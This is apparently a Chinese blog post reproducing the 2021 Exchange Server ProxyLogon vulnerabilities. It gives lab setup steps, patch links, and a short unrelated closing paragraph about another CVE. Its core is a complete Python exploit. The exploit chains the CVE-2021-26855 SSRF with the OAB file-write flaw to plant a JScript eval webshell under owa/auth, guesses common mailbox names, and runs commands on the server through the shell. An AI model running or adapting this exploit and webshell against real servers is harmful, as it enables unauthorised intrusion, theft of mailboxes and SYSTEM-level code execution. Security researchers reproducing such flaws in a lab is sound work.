(环境搭建+复现)CVE-2021-26855 2021年3月 Exchange Server RCE 复现

0x00 简介

Exchange Server是微软公司的是一套电子邮件服务组件,是个消息与协作系统,主要提供包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理、实时会议和工作流等协作应用。

0x01 漏洞概述

CVE-2021-26855
该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。
危害:该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。
CVE-2021-26857
该漏洞是Unified Messaging 服务中的不安全的反序列化漏洞。利用该漏洞,攻击者可以发送精心构造的恶意请求,从而在Exchange Server上以SYSTEM身份执行任意代码。
危害:该漏洞是Unified Messaging 服务中的不安全的反序列化漏洞。利用该漏洞,攻击者可以发送精心构造的恶意请求,从而在Exchange Server上以SYSTEM身份执行任意代码。
CVE-2021-26858
该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。
危害:该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。
CVE-2021-27065
该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。
危害:该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。

0x02 影响版本

Microsoft Exchange 2013

Microsoft Exchange 2016

Microsoft Exchange 2019

Microsoft Exchange 2010

0x03 环境搭建

一、安装AD域控。

1、我使用的是windows server 2016。点击管理>添加角色和功能向导,选择Active Directory 域服务 和 DNS 服务器。

2、一路点击下一步到安装。

3、点击"将此服务器提升为域控制器",这里选择添加新林,然后给自己主机定义一个内部域名,最好和外部域名称不同。我这里设置的是ex.com。

4、设置密码。

5、点击下一步,显示无法创建DNS服务器委派,无视,下一步。

6、选择安装的位置以及日志文件位置。

7、如果提示

域控制器升级的先决条件验证失败。 新建域时,本地 Administrator 帐户将成为域 Administrator 帐户。无法新建域,因为本地 Administrator 帐户密码不符合要求。

目前,本地 Administrator 密码为空白,这可能会导致安全问题。我们建议你按 Ctrl+Alt+Delete,使用网络用户命令行工具,或者在使用本地用户和组为本地 Administrator 帐户设置强密码之后,新建域。

可参考:https://blog.csdn.net/qq_41863998/article/details/103562080

8、安装完成后自动重启即完成。

二、安装 Exchange Server 2016

1、然后下载Exchange

https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114  
然后下载.NET4.8 

https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016

下载C++ 依赖包

https://www.microsoft.com/en-us/download/details.aspx?id=30679

有个坑。就是安装Visual C++ Redistributable Packages for Visual Studio 2013

记得下载的时候选择英文。。中文的会检测的时候一直通不过

2、开始安装,选择不更新。

3、启用exchange自带的杀毒。

4、配置先决条件出错。主要问题是"需要对 Active Directory 进行全局更新,并且此用户帐户不是 'Enterprise Admins' 组的成员。"

我把user用户和administrator添加到要求的组里然后,切换用户到administrator试了试安装就可以了。

5、安装

6、安装成功后访问https://localhost/ecp 即可到达exchange管理中心。

7、使用域名\用户名,密码即可登录管理中心。

0x04 漏洞利用

1、尝试 CVE-2021-26855 SSRF漏洞。

2、执行exp。

修改了一下exp,如果不知道用户名可以直接指定后缀,会自动测试常用用户名。

exp.py -u 127.0.0.1 -suffix @ex.com

如果知道一个存在的用户就直接

exp.py -u 127.0.0.1 -user admin@ex.com

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse

parser = argparse.ArgumentParser(description='Example: python exp.py -u 127.0.0.1 -email test -suffix @ex.com\n如果不清楚用户名,可不填写-email参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
                    help='target')
parser.add_argument('-user',
                    help='exist email',default='')
parser.add_argument('-suffix',
                    help='email suffix')
args = parser.parse_args()

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

target=args.u
suffix=args.suffix
exist_email=args.user
fuzz_email=['administrator','webmaste','support','sales','contact','admin','test','test2','test01','test1','guest','sysadmin','info','noreply','log','no-reply']
fuzz_email.insert(0,exist_email)
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
for i in fuzz_email:
    new_email=i+suffix
    autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
    print("正在获取Exchange Server " + target+" 权限")
    FQDN = "EXCHANGE01"
    ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False,proxies=proxies)

    if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
        FQDN = ct.headers["X-FEServer"]


    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
        "Content-Type": "text/xml",
        "User-Agent": user_agent},
                       data=autoDiscoverBody,
                        proxies=proxies,
                       verify=False
                       )

    if ct.status_code != 200:
        print(ct.status_code)
        print("Autodiscover Error!")
        #exit()

    if "<LegacyDN>" not in str(ct.content):
        print("Can not get LegacyDN!")
        #exit()
    try:
        legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
        print("Got DN: " + legacyDn)

        mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
            "Content-Type": "application/mapi-http",
            "X-Requesttype": "Connect",
            "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
            "X-Clientapplication": "Outlook/15.0.4815.1002",
            "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
            "User-Agent": user_agent
        },
                           data=mapi_body,
                           verify=False,
        proxies=proxies
                           )
        if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
            print("Mapi Error!")
            exit()

        sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

        print("Got SID: " + sid)
        sid = sid.replace(sid.split("-")[-1],"500")

        proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
        """ % sid

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "msExchLogonMailbox": "S-1-5-20",
            "User-Agent": user_agent
        },
                           data=proxyLogon_request,
        proxies=proxies,
                           verify=False
                           )
        if ct.status_code != 241 or not "set-cookie" in ct.headers:
            print("Proxylogon Error!")
            exit()

        sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

        msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
        print("Got session id: " + sess_id)
        print("Got canary: " + msExchEcpCanary)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            #"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                #FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

            "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                           format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                  msExchEcpCanary=msExchEcpCanary),
            "Content-Type": "application/json; charset=utf-8",
            "msExchLogonMailbox": "S-1-5-20",
            "User-Agent": user_agent

        },
                           json={"filter": {
                               "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                              "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                           verify=False,
        proxies=proxies
                           )

        if ct.status_code != 200:
            print("GetOAB Error!")
            exit()
        oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
        print("Got OAB id: " + oabId)

        oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                    "properties": {
                        "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                       "ExternalUrl": "http://ffff/#%s" % shell_content}}}

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
            "msExchLogonMailbox": "S-1-5-20",
            "Content-Type": "application/json; charset=utf-8",
            "User-Agent": user_agent
        },
                           json=oab_json,
        proxies=proxies,
                           verify=False
                           )
        if ct.status_code != 200:
            print("Set external url Error!")
            exit()

        reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                          "properties": {
                              "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                             "FilePathName": shell_absolute_path}}}

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
            "msExchLogonMailbox": "S-1-5-20",
            "Content-Type": "application/json; charset=utf-8",
            "User-Agent": user_agent
        },
                           json=reset_oab_body,
        proxies=proxies,
                           verify=False
                           )

        if ct.status_code != 200:
            print("写入shell失败了啊")
            exit()

        print("成功了。马上就验证shell是否OK!")
        print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
        shell_url="https://"+target+"/owa/auth/test11.aspx"
        print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
        print("正在请求shell")
        import time
        time.sleep(1)
        data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False,proxies=proxies)
        if data.status_code != 200:
            print("写入shell失败")
        else:
            print("shell:"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))
            print('[+]用户名: '+new_email)
            break;
    except:
        print('[-]用户名: '+new_email)
        print("=============================")

0x05 修复方式

1、微软官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本,官方安全版本下载可以参考以下链接:

CVE-2021-26855: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855

CVE-2021-26857: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857

CVE-2021-26858: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858

CVE-2021-27065: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065

2、若无法及时进行升级,建议采用官方的临时措施进行防御:

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

Referer:

1、http://www.hackdig.com/03/hack-295366.htm

2、https://blog.csdn.net/zhaowei198311/article/details/107391577

3、https://www.o2oxy.cn/3169.html

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
CVE-2021-28041是一个安全漏洞,它影响了某个软件或系统的特定版本。由于我无法得知你具体指的是哪个软件或系统的CVE-2021-28041漏洞,因此无法提供具体的复现步骤。但是,我可以给你一些一般性的复现漏洞的方法和建议。 要复现CVE-2021-28041漏洞,通常需要以下步骤: 1. 确定受影响的软件或系统版本:首先,你需要确定你使用的软件或系统是否受到CVE-2021-28041漏洞的影响。可以查看相关厂商或组织发布的安全公告或漏洞报告来获取这些信息。 2. 了解漏洞的详细信息:阅读CVE-2021-28041漏洞的详细描述和相关文档,了解漏洞的原理和影响范围。这将帮助你更好地理解漏洞,并为复现做好准备。 3. 搭建实验环境:在一个安全的环境中,搭建一个与受影响软件或系统版本相匹配的实验环境。这可以是一个虚拟机、容器或者专门用于安全测试的实验环境。 4. 复现漏洞:根据漏洞的描述和相关文档,尝试复现CVE-2021-28041漏洞。这可能涉及到构造特定的输入、触发特定的操作或者利用软件或系统中的某个弱点。 5. 验证漏洞:一旦成功复现漏洞,验证漏洞的存在和影响。这可以通过观察系统行为、获取敏感信息或者执行未授权的操作来进行验证。 请注意,复现漏洞是一项敏感的活动,需要在合法授权和合法范围内进行。在进行任何安全测试之前,请确保你已经获得了相关授权,并遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值